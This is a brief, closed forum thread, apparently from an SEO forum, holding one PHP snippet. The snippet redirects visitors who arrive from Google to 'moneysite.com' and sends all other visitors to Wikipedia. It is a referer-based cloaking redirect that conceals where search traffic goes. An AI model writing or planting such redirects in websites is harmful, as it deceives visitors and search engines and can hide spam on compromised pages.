Still finding until now

Status
Not open for further replies.
PHP:
<?php

if (isset($_SERVER['HTTP_REFERER'])) {
    if (strpos($_SERVER['HTTP_REFERER'], 'google.') !== false) {
        header('Location: https://moneysite.com/');
        exit;
    } else {
        header('Location: https://wikipedia.com/');
        exit;
    }
} else {
    header('Location: https://wikipedia.com/');
    exit;
}
 
Status
Not open for further replies.
This thread has been auto closed due to the forum's thread age policy. Read more.
Back
Top